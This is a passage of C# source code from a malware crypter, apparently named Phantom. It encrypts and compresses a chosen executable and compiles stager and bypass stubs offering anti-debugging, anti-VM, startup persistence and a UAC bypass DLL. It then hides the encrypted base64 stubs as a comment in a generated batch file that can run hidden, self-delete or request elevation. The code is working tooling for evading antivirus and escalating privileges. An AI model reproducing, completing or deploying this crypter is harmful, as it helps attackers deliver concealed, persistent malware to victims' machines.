            byte[] payload_enc = Encrypt(mode, Compress(pbytes), _stubkey, _stubiv);

            // Add message to listBox2
            listBox2.Items.Add(@"Creating stub...");

            // Generate C# stub code
            string stub = StubGen.CreateCS(_stubkey, _stubiv, mode, antiDebug.Checked, antiVM.Checked, startup.Checked, uacBypass.Checked, !isnetasm, rng);

            // Add message to listBox2
            listBox2.Items.Add(@"Building stub...");

            // Create temporary file
            string tempfile = CreateTempFile(rng);

            // Write payload to file
            File.WriteAllBytes(@"payload.exe", payload_enc);

            // Initialize C# code provider
            CSharpCodeProvider csc = new CSharpCodeProvider();

            // Specify compiler parameters (Stager Stub)
            CompilerParameters parameters = new CompilerParameters(new[] { @"mscorlib.dll", @"System.Core.dll", @"System.dll", @"System.Management.dll", @"System.Windows.Forms.dll" }, tempfile)
            {
                GenerateExecutable = true,
                CompilerOptions = @"-optimize -unsafe",
                IncludeDebugInformation = false
            };

            // Add embedded resources to compiler parameters
            parameters.EmbeddedResources.Add(@"payload.exe");
            if (uacBypass.Checked)
            {
                if (fileType == FileType.NET64 || fileType == FileType.x64)
                {
                    File.WriteAllBytes(@"UAC", Compress(ExtractResource(@"Phantom.Resources.UAC64.dll")));
                }
                else
                {
                    File.WriteAllBytes(@"UAC", Compress(ExtractResource(@"Phantom.Resources.UAC.dll")));
                }
                parameters.EmbeddedResources.Add(@"UAC");
            }
            foreach (string item in listBox1.Items)
            {
                parameters.EmbeddedResources.Add(item);
            }

            // Compile stub code
            CompilerResults results = csc.CompileAssemblyFromSource(parameters, stub);

            // Check for compilation errors
            if (results.Errors.Count > 0)
            {
                // Delete temporary files
                File.Delete(@"payload.txt");
                File.Delete(tempfile);
                if (uacBypass.Checked)
                {
                    File.Delete(@"UAC");
                }

                // Show error message
                MessageBox.Show(@"Stager Stub build error!", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);

                // Re-enable build button
                buildButton.Enabled = true;

                // Exit function
                return;
            }

            // Read bytes from temporary file
            byte[] stubbytes = File.ReadAllBytes(tempfile);

            // Delete temporary files
            File.Delete(@"payload.exe");
            File.Delete(tempfile);
            if (uacBypass.Checked)
            {
                File.Delete(@"UAC");
            }

            // Create another temporary file
            tempfile = CreateTempFile(rng);

            // Initialize another C# code provider
            CSharpCodeProvider csc2 = new CSharpCodeProvider();

            // Specify compiler parameters for second compilation (Bypass Stub)
            CompilerParameters parameters2 = new CompilerParameters(new[] { @"mscorlib.dll", @"System.Core.dll", @"System.dll", @"System.Management.dll", @"Microsoft.VisualBasic.dll" }, tempfile)
            {
                GenerateExecutable = true,
                CompilerOptions = @"-optimize -unsafe",
                IncludeDebugInformation = false
            };

            // Compile embedded BStub.cs file
            string BStub_Str = GetEmbeddedString(@"Phantom.Resources.BStub.cs");
            if (fileType == FileType.NET64)
            {
                BStub_Str = "#define x64\n" + BStub_Str;
            }
            else if (fileType == FileType.x64)
            {
                BStub_Str = "#define x64\n" + BStub_Str;
            }
            CompilerResults results2 = csc2.CompileAssemblyFromSource(parameters2, BStub_Str);

            // Check for compilation errors
            if (results2.Errors.Count > 0)
            {
                // Delete temporary files
                File.Delete(@"payload.txt");
                File.Delete(tempfile);

                // Show error message
                MessageBox.Show(@"BStub build error!", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);

                // Re-enable build button
                buildButton.Enabled = true;

                // Exit function
                return;
            }

            // Encrypt and compress stub bytes
            byte[] bstubbytes = Encrypt(mode, Compress(File.ReadAllBytes(tempfile)), _key, _iv);

            // Delete temporary files
            File.Delete(@"payload.exe");
            File.Delete(tempfile);

            // Add message to listBox2
            listBox2.Items.Add(@"Encrypting stub...");

            // Encrypt and compress stub bytes
            byte[] stub_enc = Encrypt(mode, Compress(stubbytes), _key, _iv);

            // Add message to listBox2
            listBox2.Items.Add(@"Creating batch file...");

            // Generate batch file content
            string content = FileGen.CreateBat(_key, _iv, mode, hidden.Checked, selfDelete.Checked, runas.Checked, fileType, rng);

            // Split content into lines
            List<string> content_lines = new List<string>(content.Split(new string[] { Environment.NewLine }, StringSplitOptions.None));

            // Insert encrypted stub bytes into content lines at random position
            content_lines.Insert(rng.Next(0, content_lines.Count), $":: {Convert.ToBase64String(bstubbytes)}\\{Convert.ToBase64String(stub_enc)}");
            content = string.Join(Environment.NewLine, content_lines);

            // Initialize SaveFileDialog
            SaveFileDialog sfd = new SaveFileDialog()
            {
                AddExtension = true,
                DefaultExt = @"bat",
                Title = @"Save File",
                Filter = @"Batch files (*.bat)|*.bat",
                RestoreDirectory = true,
                FileName = Path.ChangeExtension(_input, @"bat")
            };

            // If file dialog result is OK
            if (sfd.ShowDialog() == DialogResult.OK)
            {
                // Add message to listBox2
                listBox2.Items.Add(@"Writing output...");

                // Write content to selected file
                File.WriteAllText(sfd.FileName, content, Encoding.ASCII);

                // Show success message
                MessageBox.Show(@"Done!", @"Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }

            // Re-enable build button
            buildButton.Enabled = true;
        }

        private void CheckVersion()
        {
            try
            {
                WebClient wc = new WebClient();
                string latestversion = wc.DownloadString("https://raw.githubusercontent.com/C5Hackr/Phantom/main/version").Trim();
                wc.Dispose();
                if (File.Exists(AppDomain.CurrentDomain.BaseDirectory + "\\bin\\latestversion"))
                {
                    string currentversion = File.ReadAllText(AppDomain.CurrentDomain.BaseDirectory + "\\bin\\latestversion").Trim();
                    if (currentversion != latestversion)
                    {
                        DialogResult result = MessageBox.Show($"Phantom {currentversion} is outdated. Download {latestversion}?", "Warning", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Exclamation);
                        if (result == DialogResult.Yes)
                        {
                            Process.Start("https://github.com/C5Hackr/Phantom/releases/tag/" + latestversion);
                        }
                    }
                }
                File.WriteAllText(AppDomain.CurrentDomain.BaseDirectory + "\\bin\\latestversion", latestversion);
            }
            catch
            {
            }
        }

        private static string key1 = @"";

        private static string iv1 = @"";

        private static string key2 = @"";

        private static string iv6 = @"";

        private void UpdateKeys(object sender, EventArgs e)
        {
            AesManaged aes = new AesManaged();
            key1 = Convert.ToBase64String(aes.Key);
            iv1 = Convert.ToBase64String(aes.IV);
            aes.Dispose();
            aes = new AesManaged();
            key2 = Convert.ToBase64String(aes.Key);
            iv6 = Convert.ToBase64String(aes.IV);
            aes.Dispose();
        }

        private void UnpackSettings(SettingsObject obj)
        {
            textBox1.Text = obj.inputFile;
            antiDebug.Checked = obj.antiDebug;
            antiVM.Checked = obj.antiVM;
            selfDelete.Checked = obj.selfDelete;
            hidden.Checked = obj.hidden;
            runas.Checked = obj.runas;
            startup.Checked = obj.startup;
            uacBypass.Checked = obj.uacBypass;
            try
            {
                listBox1.Items.AddRange(obj.bindedFiles);
            }
            catch
            {
            }
        }

        private SettingsObject PackSettings()
        {
            SettingsObject obj = new SettingsObject()
            {
                inputFile = textBox1.Text,
                antiDebug = antiDebug.Checked,
                antiVM = antiVM.Checked,
                selfDelete = selfDelete.Checked,
                hidden = hidden.Checked,
                runas = runas.Checked,
                startup = startup.Checked,
                uacBypass = uacBypass.Checked,
            };
            List<string> paths = new List<string>();
            foreach (string item in listBox1.Items)
            {
                paths.Add(item);
            }
            obj.bindedFiles = paths.ToArray();
            return obj;
        }

        private void startup_CheckedChanged(object sender, EventArgs e)
        {
            if (startup.Checked)
            {
                selfDelete.Checked = false;
                selfDelete.Enabled = false;
            }
            else
            {
                if (!uacBypass.Checked)
                {
                    selfDelete.Enabled = true;
                }
            }
        }

        private void uacBypass_CheckedChanged(object sender, EventArgs e)
        {
            if (uacBypass.Checked)
            {
                if (runas.Checked)
                {
                    runas.Checked = false;
                }
                selfDelete.Checked = false;
                selfDelete.Enabled = false;
            }
            else
            {
                if (!startup.Checked)
                {
                    selfDelete.Enabled = true;
                }
            }
        }

        private void runas_CheckedChanged(object sender, EventArgs e)
        {
            if (runas.Checked)
            {
                if (uacBypass.Checked)
                {
                    uacBypass.Checked = false;
                }
            }
        }
    }
}